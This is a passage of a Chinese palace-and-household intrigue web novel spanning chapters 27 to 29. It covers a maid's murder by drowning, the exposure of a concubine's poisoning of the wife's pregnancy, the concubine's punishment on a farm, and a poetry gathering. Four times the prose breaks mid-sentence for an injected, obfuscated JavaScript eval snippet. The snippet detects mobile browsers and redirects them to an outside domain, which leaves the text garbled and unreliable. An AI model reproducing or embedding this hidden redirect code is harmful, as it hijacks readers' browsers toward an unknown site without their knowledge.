桃枝本不想去，可想到惹小姐不快的下场，便赶忙起身同柳枝一道。 月池边白日春景极好，夜晚却静得瘆人，几个小厮都说在这见过鬼影，谣言一起便越传越邪乎，说池中有水鬼索命，惹得往后巡夜都不敢路过这。 桃枝到底是胆小的，一路走得紧张兮兮，偏柳枝故意只提了个昏黄的小笼，风一吹就晃，连影子都照不清。“金桂在哪呢，我们动作快些，这里可邪乎了。” “就在前头，不过我刚才好像看到池子里……有什么东西闪了一下。”柳枝探头探脑地往池子里看。 “啊？”桃枝止步，瞪大了眼。 柳枝边说边凑过去，故作疑惑地指向池边：“你过来些，帮我看看是不是……” 桃枝迟疑着低头去看。 水面漆黑如墨，一阵夜风吹过，水面竟起了涟漪，仿佛真有什么在底下晃动。 “这、这地儿不对劲，咱们还是快回去罢！” 话音未落，一股狠劲猛地从身后袭来。 柳枝死死掐住她脖颈，膝盖抵住她后背，将她按入水中。 “呜——！”桃枝的惊叫被堵在喉咙，拼命挣扎双手乱抓，指甲划破柳枝手腕，却丝毫撼不动那股力。 不过片刻，桃枝就不动了，柳枝松手一探鼻息，气息全无。 她用脚将她翻了个面，一把将尸体推入池中。 “扑通”一声水响，池面卷起阵阵涟漪，风吹过又迅速恢复平静。 柳枝冷风中站了片刻，理了理鬓发，这才捧着空灯笼慢慢往回走。 身后月池波光粼粼，仿佛什么也不曾发生。 - 次日，尖叫声划破了清晨的宁静。 府中仆妇打水时在月池边发现了尸体。 管事的匆匆赶来，命人将尸体捞上，却没人敢近前，远远看一眼便缩着脖子倒退。 “这月池……不干净。” “我早听说这池子邪门，昨儿个我夜里还听见水声哗哗响的……” 话一出口，本就骚动的人群更炸了锅。 “可不是么，我也听说过。” “夜里池边有哭声哩！” 一传十、十传百，水鬼索命的旧事被翻了出来，谣言越传越玄，到了晌午，连厨房里的小厮都说得眉飞色舞，说是水鬼认主，要拖人替命。 半日不到便已传入崔晋耳中。 “怎会好端端的就死了？”庄氏一惊，放下筷子。 “那可是莞言身边最贴近的丫头，怎的会死在院中池子里？此事传出去，旁人还不知要怎么说……” 她一边说，一边小心瞥崔晋的神情，语气刻意添了几分忧意，“老爷说说，南院接二连三出事，怕不是那孩子……” “闭嘴。”崔晋冷声打断。 “一个丫鬟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131745|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死了而已。你如今管着府中中馈，竟把这国公府管成了满府谣言。” 庄氏脸色一白，“是妾身失察。” “这几日已听了几次‘水鬼索命’的胡话，传到府外去你担得起？” “妾身知错。” “知错就好。”崔晋不耐地摆摆手，“挑两个顺眼的丫鬟送去南院。” 庄氏咬了咬牙，终究忍下，将头垂得更低：“是，妾身记下了。 庄氏退出去后，管事的才开口说到第二件事。 “西街茶铺的夫妇老爷吩咐我处理了，可那女子竟说自己原在国公府伺候过，我仔细瞧了瞧，的确是从前夫人身边名叫翠蓝的丫鬟，她还说只要饶她丈夫不死，便愿意供出当年府中一件旧事。” “什么旧事？” “她说事关夫人和庄姨娘，非老爷亲至不可。属下不敢擅断，便暂时留了他们的命。” 朝中风波不断，竟连内宅也如此多事！崔晋一甩手，“把人带回府里，叫她当着庄氏和李氏的面说。” - 午后阳光正盛，国公府正厅内却气氛肃肃。 庄氏站在主位前，目光冷冷扫过厅下跪成一片的仆役。 “前儿出了水鬼谣言，今日又有丫鬟暴毙，国公府上上下下都是主子们的脸面，你们一个个不安分，连累府中声名受损，是嫌日子太安稳了吗？” 一席话训得众人皆低着头，不敢出声。 庄氏见状这才缓了语气，微微一笑：“不过，我也晓得你们都是吃一堑长一智的。过几日府里添布，我叫库房将新料子裁了，每人做一身夏衣，月例也多加些，就算是我接掌中馈后的一点心意。” 众人抬头，纷纷叩谢：“多谢庄姨娘！” 一时人心大安，连几个向来油滑的老嬷嬷都满脸堆笑，私下悄悄道：“这庄姨娘可比夫人强多了。” 厅中气氛融融，庄氏也被捧得面色红润，抬手叫人散了，正欲回内院歇息。 忽听门口一声沉喝：“站住！” 崔晋大步跨入厅中神色铁青，随行的管事手里拽着个被粗绳五花大绑的女人。 庄氏一见那张狼狈面孔，脸色霎时变了。 “翠蓝？” “你认得她？” 庄氏咬牙，镇定道：“是从前跟着夫人的丫头。可早些年已出嫁，怎么……怎么突然……” “把人押着，将夫人、少爷小姐全都唤来正厅。”说罢一甩衣袖，坐入上首。 庄氏浑身一震，脑中轰然作响。 翠蓝定是在被灭口前，拿当年的事做交换，她逃不掉了。 可她不能坐以待毙。 她低声唤过身侧一个极机灵的丫鬟，手中帕子一挡，声音压得极低，“让孙姨娘帮我找个人。” 那丫鬟看她神色不对，不敢怠慢，立刻退下。 望着厅上那一身狼狈的翠蓝，庄氏掌心已尽是冷汗。 不多时，崔莞言搀着崔老夫人慢步而来，李氏也被放出佛堂，由两个嬷嬷搀着走进正厅。 才几日不见，她已瘦了一圈，面色蜡黄眼窝深陷，昔日那点雍容劲儿早被耗干，只剩一双眼，仍死死盯着崔莞言，目光阴鸷几欲将她剥皮食肉。 可崔莞言连眼皮都未抬，只一手扶着祖母坐定，神色温婉从容。 这目光不新鲜了，自回府以来李氏就是这副模样盯着她的。可惜如今才过几天，风向已变，再过一会儿这眼神便该落到庄氏身上了。 她不急，她等着看那一刻庄氏的脸色。 27. 滑胎疑云 众人皆落座，连腿脚不好的崔植强撑着都现身，崔晋却不愿看他一眼。 崔莞言对她这亲爹再清楚不过，他最忌讳残缺，哪怕是亲生的骨血，只要达不到他期望的“完满”，便弃之如敝屣。 李氏被冷落多年，心中早已积了怨气。崔植成了她一生的耻辱与牵绊，她每次看这个儿子，想到的不是母子情深，而是自己因他而失去的宠爱。她今日来也不过是带着警惕与愤懑，并无半分母慈。 一家人围坐一堂，各自心怀鬼胎，亲情是半点都无的。 这时，管事弯腰将翠蓝口中的布条扯了下来。 翠蓝咳了几声，嘴角破了皮，牙齿也磕掉了一颗，半边脸浮肿，却仍强撑着抬头，眼神直直地朝李氏看去。 “夫人还认得我不？” 她这些年模样大改，李氏凑近了看到眼尾的小痣才认出来，“你是翠蓝？” “是我……我对不起夫人。” 李氏浑身一震：“你说什么？” “是我收了庄姨娘的银子，在您的安胎汤里下了药，才会让您那日突然腹痛滑胎……” 李氏怔怔看着地上那个狼狈不堪的女人，脸上血色尽退，一瞬间仿佛老了十岁：“你说……你下的药？你……你竟敢……” “是庄姨娘说只要听她的，以后少不了我的好处。”翠蓝哭得几乎说不出话。 李氏捂着胸口，几欲晕厥：“原来……原来那孩子，是被你这个贱人害死的！” 她朝庄氏扑过去，一把扯散庄氏的发髻。 庄氏直直站着，任由李氏厮打。 她知道，此刻说再多也无济于事。 翠蓝的丈夫握在崔晋手中，她口中说出的每一个字，崔晋都会信。她若争辩，只会惹来更深的厌恶。 “是我做的。” 话音落地，四座皆惊。 崔老夫人颤颤巍巍地起身指着她，“好啊，当年莞言那灾星之名也是你这个贱人捏造的！” “是。” “毒妇！可怜我的乖孙在封州吃了那么多苦……”崔老夫人说罢抚着崔莞言的手，眼圈竟红了。 崔莞言亦顺势倚偎在祖母怀中啜泣：“祖母，孙女好冤枉。” 她泣不成声，肩头一颤一颤，恰到好处地映着崔老夫人那满脸的慈怜与愤恨，叫旁人看着都忍不住心生怜惜。 庄氏不辩反认，绝非无路可走，而是深知崔晋的算计。她这一认，反倒更显识时务。这样的人，才最难对付。 崔晋不会为了一个死去多年的胎儿，就下重手废了庄氏。庄氏是崔时、崔昱的母亲，能替他出谋划策的利器。权衡轻重，他心里有秤。只要她还有用，就不会死。 厅内乱做一团，李氏哭喊着一次又一次扑过去，几个婆子见状连忙上前劝拦，崔老太太拄杖怒斥，管事与小厮们低头不敢言。 而崔晋端坐主位始终未曾开口，众人神色各异，唯他一人静得可怖。 又是沉默良久，他问庄氏：“你当真没什么要解释的？” 庄氏跪在他面前，泣下两滴泪，“是我当年鬼迷心窍，我认了，只求夫人日后善待昱儿，玉容便把这条命赔给你。” “贱人！还我儿命来！” 李氏拿起桌上的茶盏掷了过去，生生将庄氏的额头砸了个血窟窿，崔时打量了父亲和祖母的脸色，敢怒不敢言，只能看着自己的生母满脸血泪。 这时，丫鬟带着一个老嬷嬷快步进来。 李氏一眼便认出来，那人正是当年她小产时为她接生的嬷嬷。 当年她已怀胎近七月，那日突然腹痛如绞大出血不止，府中乱成一团，正是这嬷嬷拼死将她从鬼门关拉了回来。 李氏以为她是来作证的，急忙起身道：“嬷嬷可是还有什么证据？快把那天的事说清楚！” 嬷嬷未开口，庄氏先擦掉脸上的血，讽刺道：“玉容自知犯下大错，可当年夫人那一胎，还是胎死腹中的好。” “你说什么！”李氏气急了，竟堵了一口气，一下栽倒在地上。 事关子嗣，崔晋神色却半点未变，出奇得平静。 老嬷嬷眼神在众人之间游移，终于开口：“当年夫人小产，产下的胎儿已经成型，是个男胎，但……” “生下来就没气了，我仔细一瞧，那孩子左手臂竟缺了一半，胎色发黑，似是早就养坏了的。” “这等事要是传出去，定要坏国公府的名声，我便用襁褓裹紧，让人看不出异样，交由府中嬷嬷埋了。” 李氏捂着心口，瘫坐在地几乎要昏厥过去。 她数年魂牵梦绕、夜夜难安的孩子，竟是这般模样？“不！你说谎！” 崔晋的脸色已阴沉至极，崔植已是个废人，生来便叫他在外人面前抬不起头，如今连那早夭的胎儿也是个怪物。 他几乎能想见，若这事传出去，旁人会如何讥笑讥笑国公府的骨血，一个个不是病秧子，就是残胎。 视线扫向李氏，他眼底的厌恶几乎要溢出来。这个女人，除了给他拖来耻辱，还做过什么？ “崔植是个废人，如今你连那死胎都是个怪胎！李含云，你到底要叫我蒙多少羞？” 李氏连哭都哭不出来，她痴痴地望着崔晋，像是从梦中惊醒。 她为他生儿育女，从鬼门关走了几遭，最后听到的，却是“蒙羞”二字。 庄氏低垂着眼，不语不笑，今日这一局，她未败得太惨。 崔莞言站在一旁，看着眼前这一幕心想：庄氏果然手段老辣，竟将崔晋的心性拿捏得分毫不差。此刻崔晋对李氏的怒意分明更胜于对庄氏。 她心知，这一局尚不能将庄氏彻底扳倒。但只要能逼她离府思过，削去管家之权，孙氏孤立无援，迟早会露出更多破绽，犯下更大的错。 崔晋缓了缓神色，又恢复往常高高在上的模样，“庄玉容从今日起，你交出中馈送通州庄子思过，何时召回，听我吩咐。” 庄氏恭顺应下，连辩一句都没有。 “李含云，回佛堂跪着，把这些年的罪孽一一念清！” 李氏突然放声大笑，笑得脸都扭曲了，眼里透出癫狂的光：“罪孽？我有什么罪孽？我为你生儿育女，从鬼门关走了几遭，那是我的孩子！我哪错了？你嫌他是怪胎，你嫌阿植是个废人，可他们都是你的骨血！崔晋，你才是狼心狗肺！” “你心里只有名声、只有那张脸要顾，除了荣华富贵，你还有过半点良心吗？我这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136723|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些年是怎么熬的，你知道吗？你知道吗！” “拖下去。”崔晋背过身，连眼神都不愿再给她。 婆子们应声上前，去拉李氏的胳膊。她一边挣扎，一边还在喊：“我没错！是你错！” 话未尽，就被硬生生按住了口。 崔植看母亲几近疯癫，终是不忍，拄着拐杖几步上前：“父亲——” 未走到近前便被婆子推到一边，他一个趔趄几乎跌倒，崔莞言伸手稳住了他。 “大哥小心。” 李氏哭喊着被拖出厅去声音渐远。崔植抿了抿唇，最后也只转身离开，没有回头。 崔莞言见今日种种心底只剩一个念头，李氏和庄氏，这一对咬得你死我活的妇人，今日所受之辱，都是自找。 等着吧，她不会让她们好好活着的。 目送一屋人散尽，厅内死寂如初。 管事的低声问：“老爷翠蓝和他丈夫如何处置。” 崔晋没答话，可管事已从他那双怨毒的眼里看到答案。 杀了，都杀了。 - 李氏、庄氏相继被治，府中内务一时群龙无首。 孙氏以为中馈之权唾手可得，前一夜便在屋里盘算开了。 哪几个管事婆子是自己一派，哪几处铺子账面肥得该先下手，甚至连换厨子的理由都想好了，就等老太太一句话。 谁知崔老太太却说：“这家里，终究是要有人理事。莞言已到了当家的年纪，也该学着管管中馈了。” 孙氏脸上的笑凝在半途，像被人当面泼了盆冷水。 老太太什么意思？她一个未出阁的小丫头，哪懂得管家理事？这是要压她，还是故意叫她难堪？可偏偏，这话是老太太说的，谁敢驳？ 几位管事婆子纷纷低头应是，神色恭敬得很。谁都看得出，这是老太太亲自立人，明摆着是在给二小姐撑腰。 崔莞言欠身受命，从此便能光明正大地插手府中大小事务，而孙氏那些小算盘，只怕一个都打不响了。 第二天一早，几名管事婆子就抱着厚厚一摞账册进了南院。 崔莞言抬眼扫过去，心中已了然，这分明是孙氏故意让人挑了这些年最杂、最乱的账目送来，想趁她初掌中馈时看个笑话。 怕是要让孙氏失望了。这些人只当她是个不谙事的闺阁姑娘，手一抖就会露怯，可她前世在王府操持多年，金银进出、人情往来，比这繁复百倍的账册都在她手下运转得井井有条。 这点东西，于她而言，不过是随手翻翻的玩意。 她一笔笔批注，偶尔添上两行调拨之策，不消半日，几大摞账册便已处理得井井有条。 直到翻到最后一本时，她的动作才慢了下来。 那是要送庄氏去的庄子，做腌食营生的，入账不多，支出却重，年年账面吃力不讨好。 崔莞言合上册子，心底已有了计较。 她吩咐青禾，“派人去庄子上，悄悄收买几个婆子，让她们记住，庄姨娘犯下大错，国公爷要她受罚，可千万别对她太好。” 婆子们收了银子，自会在庄子上添些“热闹”。 她倒要看看，庄氏在那地方能过几日安生日子。 28. 诗会巧遇 庄子离上京城还有十几里路，马车一进院，庄氏便闻到一股混着酸湿和焦糊的怪味。 推门而入，眼前是低矮的院墙和一排歪歪斜斜的瓦屋，墙角的青苔沿着裂缝爬满了半壁，连门框都被雨水泡得发黑。 管事婆子带她穿过院子，到住处时只见屋里一张旧木床、一只掉漆的衣柜，床脚还缺了一角，用砖头垫着才勉强平稳。 庄氏在国公府养尊处优惯了，哪里见过这样破败的屋子，连府里的柴房也比不上，她一手捂着鼻子，一手从包袱里拿出一个样式精美的荷包，直往婆子怀里塞。“嬷嬷，能否通融……” 谁知那婆子竟不识好歹，一把将她推开，她气极了，很快又摆出做主子的姿态，恶狠狠地盯着婆子看。 婆子并不吃这一套，冷哼一声过去掐住庄氏的手臂。 她想面前这姨娘可真是保养的极好，快四十的年纪，还一幅玉软花柔的样子，要是她使劲，非得把这手臂掐断不可。 都被送到这破地方来了，还敢摆脸色？昨儿府里就来人传话，说庄姨娘犯下大错惹怒国公，若不吃点苦头，只怕国公不会满意。 婆子是见过国公一回的，那会儿庄子上有人偷窃，正逢他来巡，他不送窃贼去官府，反倒当场就把人打死了，还挂在院子里以示警戒，吓得她连日噩梦。 有这桩事在前头，现下满庄子怕是没人敢收这贿银，只怕忤逆了国公的心思叫他不快。 婆子手上力道不轻，硬生生将庄氏往屋里一推。 “庄姨娘，还是安分些吧。这地方规矩大着呢，哪怕是从国公府来的，也得按庄子的章程来。” 庄氏被推得一个踉跄，差点撞到那只缺角的床脚。她咬住唇，胸口剧烈起伏，眼底的火气几乎要烧出来。 可她到底忍住了。 “这儿可没人惯着你，活做的不好就没饭吃。” 婆子转身时，眼角余光仍在打量她，这种人，吃几日庄子上的苦，自然会收起那副高高在上的样子。 第二天一早，天色还没亮透，院子里就响起了粗嗓门的吆喝声。 “新来的，快滚起来！今日腌菜，要赶在晌午前装缸！” 庄氏猛地惊醒，昨夜被冻得几乎没合眼，此刻浑身像散了架。她推开门，一股刺鼻的酸辣味扑面而来，呛得她眼泪直涌。 院子中央摆着几十个破木桶，桶里是切得不匀的菜叶、辣椒、盐巴，混着一股腥馊味。 婆子把一只木杵丢到她脚边：“搅拌均匀，手要快！慢了，烂菜全都算你赔。” 晨起还未洗漱，饭也没吃上一口，庄氏此刻提不起精神，隔着袖口捏起那根木杵，嫌弃不愿多碰。 “你那是搅？是挠痒？给我用力碾！不入味，整缸菜都要臭！” 咸辣的汁水很快溅到她袖口，渗进里衣，一股腥酸顺着皮肤往上爬。庄氏心里一阵翻涌，像是被人当众按在泥里踩，恨不得立刻撕烂这些下人的嘴，可她转念又想，只要熬过去，等她回到国公府，这些人又算得了什么？一群蝼蚁，还不是她一脚就能踩死的？ 旁边的婆子又用肩膀一顶，把她推得一个趔趄：“躲什么？你不是国公府的姨娘吗？在府里作威作福惯了，这里可不兴使脸色！” 周围讥笑声此起彼伏。 “笨手笨脚的，怪不得惹得国公厌烦。” “就这模样，搁咱庄子上，连一天都混不下去。” 辣椒粉呛得她喉咙火烧般难受，眼角被熏得通红，手臂一下一下被木杵震得发麻，虎口很快起了血泡。她曾经用这双手把玩翡翠、撕金剥银，如今却要在酸臭的腌缸里翻搅烂菜。 到晌午时，她的双手已经红肿不堪，，指甲缝全是洗不掉的辣色。婆子却只淡淡瞥她一眼：“这才哪到哪？下午还得抬缸。” 午间膳食是一碗粗米和卖不出去的酱菜，那酸味熏得庄氏直吐，她真恨李氏、恨崔莞言、也恨崔晋！可她也明白，这口气只能咽下去。 此时上京城的另一处別院热闹非凡。 厅中宾客盈门，皆是京中有名的才子名流，冠带华整腰悬玉佩，笑谈间自矜从容。 正中一案，几位年少举子围坐，满面春风地讲述登第的趣事，引得众人频频附和。 外苑比内席略偏一隅，却并不冷清。女眷们三三两两或倚栏听曲，或围坐低语，其中不乏心怀打算的，眼中带着兴味，打量着那些或俊朗、或儒雅的年轻士子。毕竟殿试方过，春榜新出，若能在此时结识一二，便是攀上了将来官场的青云梯。 凉亭内，沈明宜正拉着崔莞言闲聊。 “你听说了吗，昨儿宫里吵翻天了。” 崔莞言摇了摇头，“可是发生了什么事？” 沈明宜支着下颌，眼角带笑，却又有几分无奈：“还不是为着刑部尚书和通州州牧的人选，你爹和周王各执一词，在御前吵得不可开交。” 说到这，她压低了声音，凑近些：“陛下嫌得头疼，最后还是站在周王那边，你爹脸色当场就变了。” “是么。”崔莞言只是淡淡应了一声。 她真有时真羡慕沈明宜有个好爹，会将朝堂的风云当作笑谈说与女儿听，博她一笑，而有些父亲，只会在她的性命与仕途之间，毫不犹豫地取其一舍其一。 沈明宜正说得兴起，忽听外头传来轻快鼓声，“斗诗要开始了！” 亭中女眷们立刻有了兴致，纷纷移步往前厅去。 沈明宜挽了挽袖子，朝崔莞言眨眼一笑：“正好，我前些日子写了一阙，留了一半，今日看看这里的才子里，有没有人能对得上。” 前厅早已摆下数案，诸才子落座其间，侧耳听鼓，暗暗摩拳擦掌。 主持诗会的文士一眼就看见了沈明宜，面上笑意更深。 沈家声名在上京不弱，她又自小才名在外，自然是贵客。 他快步迎上前，道：“沈小姐今日肯来，真是为我等添彩。楼上雅座已备好，二位可从那边上去。” 沈明宜侧身示意崔莞言同去：“走吧，这样也免得人挤人。” 二人随侍从拾级而上，二楼临窗的位置可俯瞰全场，又避开了人群的喧闹。 刚落座，却听有一阵脚步声传来。 文士的态度更恭敬了，甚至有些低进尘埃的谄媚。 崔莞言循声望去，竟是褚元唐。 他素来不喜这等吟风弄月的场合，怎会出现在诗会？且这满楼的温文尔雅与他浑身的锋芒，真是毫不相干。 “王爷要不我带您去西厢？” 文士有些为难，这三人都是得罪不起的，若闹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157437|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了什么不愉快，他可小命难保。 “不用，就这。” 文士只得应了声“是”，连忙退下。 沈明宜一直看着这一幕，悄悄凑近崔莞言，压低声音：“他怎么来了？” 崔莞言心中更是无奈，本就不愿与之同席，语气一冷：“王爷自重，您若与我们同席，传出去怕是要坏了我们的名声。” 褚元唐似是全没听见她的话，自顾自落座，举壶斟茶，慢悠悠抿了一口，唇角勾起似笑非笑地道：“同席便坏名声？你与沈霆之同车时，也不见有什么风言风语。” 这话一落，沈明宜当即不乐意，正要反驳，却被崔莞言伸手拦下。 “王爷既愿坐，坐便是，我们自是不敢忤逆。” 今日的褚元唐破天荒穿了件月白绣云纹的袍子，腰悬温润佩玉，仿佛刻意要沾染几分温文如玉的假象。可那张冷得生人勿近的面孔，生生将那股子温润割得干干净净。 崔莞言不甘就此让他安然落座，淡淡添了一句：“王爷，这颜色不衬你。” 上一次见他穿这种颜色，还是前世成婚不久，她不知他喜暗色，熬了好几日，亲手缝制了同样式的袍子送给他。起初他连碰都不碰，半月不曾穿过，后来某日迎客，他忽然穿上了，那时她以为他终究是肯慢慢接受她的。 可惜，褚元唐向来最会吊着人心，厌恶的时候沉默到底，却偏偏在她最想放弃时，递过一点温情，让她以为自己不是全无位置。 只是等她伸手去抓，才知那是空影。 褚元唐冷笑了一声，并不反驳。 这时有个穿浅青短衫的姑娘端着漆盘进来，沈明宜瞧了两眼，一拍崔莞言的手臂，道：“你是通州案里的赵巧儿？” 她身量较前些时日丰盈了些，皮肤白了许多，面上也添了几分血色，眉眼依旧秀气，却不再有蜷缩怯懦的神情。 赵巧儿笑着点头，“托好心人的福，才得在这里做些杂活养活自己。” “在通州，我抛头露面弹琵琶常遭人耻笑，这里的文人倒说我敢抗，是女中豪杰。” 赵巧儿说着面上浮起安然度日的笑意。 崔莞言想，那案是沈霆之接的，如今赵巧儿落到这处安稳之地，会不会是沈霆之暗中安置？ 沈明宜忍不住追问：“是谁帮的你？” 赵巧儿却没接话，眼神在落座三人里一转便低下头，“这……不便说。” 她欠了个身，转身下楼去。 楼下喧闹渐歇，主文士拱手宣告诗会开始，案几上新砚已磨好，纸笔铺陈。 崔莞言忆起前世的诗会，那次她未到场，只听说会上有个不露面的神秘人，写出的诗字字珠玑，压过了在场所有举子。那人的经义策论同样锋芒毕露，甚至有人断言，若他愿意参加科举，状元之位必定囊中取物，是各方势力都要争抢的谋士。 她记得当时，无论是京中望族，还是几位王爷的幕僚，都在暗中探问他的身份，却无人得知半点。 视线落在对面的褚元唐身上，他神情淡漠，目光却若有若无地扫向楼下人群。 以他性子，本不会来这种诗酒场合，怕不是冲着那位才子来的？ 毕竟，褚元唐身边多是武将，缺的正是一个能在庙堂之上与他并肩出谋划策的人。 29. 无名才子 楼下渐渐安静下来，司会起身拱手道：“诸位才俊，今日诗会第一场斗诗，不若便以春日为题，各显风华。” 举子们提笔蘸墨，构思片刻后，依次朗声诵读。 有的写燕归花落，辞藻华美，有的咏春水映天，清润悠长。 席间时而传出轻轻的赞叹声，已见几篇佳作。 这时西厢里走出一个小厮，送上一张素笺送到司会案前。 司会展卷一看，顿时惊住，当即诵了出来。 “烟轻柳暖莺声碎，水慢花深蝶梦迟。一自东风临陌上，千山如画不曾知。” 四句落定，楼下原本还在小声议论的文士们齐齐噤声，像是被这铺开的春色压住了呼吸。 片刻后，有人喃喃道：“气韵如行云流水，末句收得意境高远，余韵绕梁……” 更有人面上发白，暗暗将自己方才写下的诗卷揉成一团。 席间有年轻举子长叹一声，拱手向虚席行礼：“佩服，佩服！此诗一出，何人还敢争春！” 沈明宜原本支着腮，兴致缺缺地听着才子们诵读自己的诗，可听到那被念出时，整个人一震。 她直起身子，眉眼间的漫不经心尽数褪去，唇边慢慢漾出笑来：“好一个‘水慢花深蝶梦迟’……这句真是妙极。” 沈明宜兴致已然被勾起，转头吩咐小厮去取她随身带来的折扇。 那扇面上，正是她前些日子写下的上半阙诗。 “浅深流注不须惊，直下清浔尽日倾。” 她将扇面平铺在案上，取笔在旁添了几笔小注，又递给侍从：“去，把这诗交给司会，就说是我出的题，让他们对下半阙。” 侍从应声而去，不多时，楼下司会展开扇面，高声宣读诗句。 才子们先赞沈明宜才情出众，而后纷纷提笔低头沉思，或疾书如飞。 沈明宜支着下巴，饶有兴味地望着他们，一副“坐等惊喜”的模样。只是等了半晌，几份下阙念出来，她听了直摇头，有的太平直，有的过于雕饰，皆入不得她的眼。 她抬眸望向那处帷幔半掩的厢房，果然又有小厮送了纸去。 “好诗！”司会先叹了一声，这才清了清嗓子，将那下半阙念了出来。 “纵得入江成巨浪，也应无意起风声。” 短短两句，字句浅白，与沈明宜的上半阙一经相合，便如清泉入海，意境顿开。 楼下的才子们听罢皆皱眉苦笑，自觉方才的构思粗陋得不堪入目。 那张小笺被重新折好，由侍从恭敬送回了二楼雅座。 沈明宜迫不及待地接过，“你看，这人不止诗好，字也好。” 崔莞言本不想凑热闹，可见她笑得这般真切，还是倾身看了一眼。 墨色沉稳笔力强劲，那一横一竖……像极了她曾见过的字迹，她心底一动，却没出声。 褚元唐不知何时也已俯身过来，他偏像故意似的，往崔莞言身边靠，惹得崔莞言只好往一旁挪了挪。 沈明宜全然没察觉，仍兴奋道：“我一定要见见这位先生。” 楼下的司会见诗题已毕，转而宣布进入经义策论的比试。 题一出口，诸人便低头疾书，或引经据典，或巧设比附。 可每当那厢房中传来小厮的脚步声，捧出一张纸交予司会，席间的便会哑声。 那人的文章，总是最晚送出，却一经宣读，便将先前诸作的光彩压得干干净净。 他的论述不事雕琢，逻辑却如行云流水，推演严密得几乎挑不出一处瑕疵。 几位自恃满腹经纶的举子面色渐渐发白，手中折扇不自觉收拢，感叹道：“此才，若入仕途，必为栋梁。” 有人苦笑摇头：“幸好今年春闱不见他身影，不然我们还比什么？” 司会朗声赞叹，却不透露那人的姓名，只说那人不愿。 会罢，沈明宜兴致未消，急急唤来司会，“可否引我去见一见那位才子？方才他的诗与策论，实在叫人心折。” 司会略带歉意地拱手：“沈姑娘恕罪，那位公子在经义题宣读完毕后，便先行告辞了，连属名也未留下。” “走了？”沈明宜唇边的笑意一滞，显而易见得失落。 崔莞言递过一盏温茶，安慰道：“若有缘，总会再见。倒不如留个悬念，比起今日贸然相见，更能叫人挂心。” 沈明宜抿唇，叹息一声：“你说得也对……可惜了。” 她低头抚着茶盏，终究没再追问，只将那张写着下半阙的诗笺收好，像是握着一件稀世之物。 楼下的人群渐渐散尽，沈明宜和崔莞言正要起身离席，便见自家马夫急匆匆上楼来，面色发白：“小姐，马车……出些邪乎，怎么也发动不得。” 话音未落，崔府随从也上前禀道：“二小姐，您的马车也是如此，不知何故车轴偏得厉害，今夜怕是修不好了。” 沈明宜怔了怔，蹙眉看向崔莞言：“真巧得这么齐？” 崔莞言心中已生几分疑窦，却未说出口。 褚元唐立于她们背后，目光从一人移向另一人，唇角似有若无地勾起：“今夜路远，我送你们回去。” 不等二人反应，他已吩咐下去，让人牵来一辆青篷马车，先将沈明宜送上：“沈小姐先回，我的人会护送到底。” 沈明宜谢过，回首时脸上的失落仍未散去：“那我就先回了。” 崔莞言以为很快就会给她也安排一架马车。 然而褚元唐送走沈明宜后，却道：“只剩这一辆。” 他目光定在她身上似笑非笑，“委屈崔小姐，与我同乘一程。” - 这一路上，崔莞言都垂着眼，可不知为何，总觉得有一道目光落在自己身上。 忍了几息，她终于抬头，却只看见褚元唐神色淡淡，一直看着窗外。 她不再回避，反而盯着他看，果然不过片刻，褚元唐的目光被她捉了个正着。 四目相接，褚元唐眼睫一颤，视线倏地移开。 崔莞言轻轻挑眉，随口问：“王爷何故一直看我？” 褚元唐唇动了几次，却没吐出一个字。 明明在刀锋上都能沉着应对的人，此刻却生生被她问得心口发紧，连该说什么都一时想不起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168976|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 良久，他才开口：“你真觉得……我穿这个颜色不好？” “王爷不是向来不在意这些吗？” 褚元唐像是被戳中了什么，却故作漫不经心：“不在意，并不代表不想听你说。” 崔莞言静静看着他，唇角勾出一点若有若无的笑意：“那就如我所说，不好看。王爷的气质沉稳冷厉，深色方能衬得住。浅色嘛……更适合沈霆之那样温润如玉的人穿。” 褚元唐闻言手指蜷起，薄唇抿成一线，面上虽不显，眸色却明显沉了几分。 “呵，温润如玉？原来崔小姐喜欢这种。” 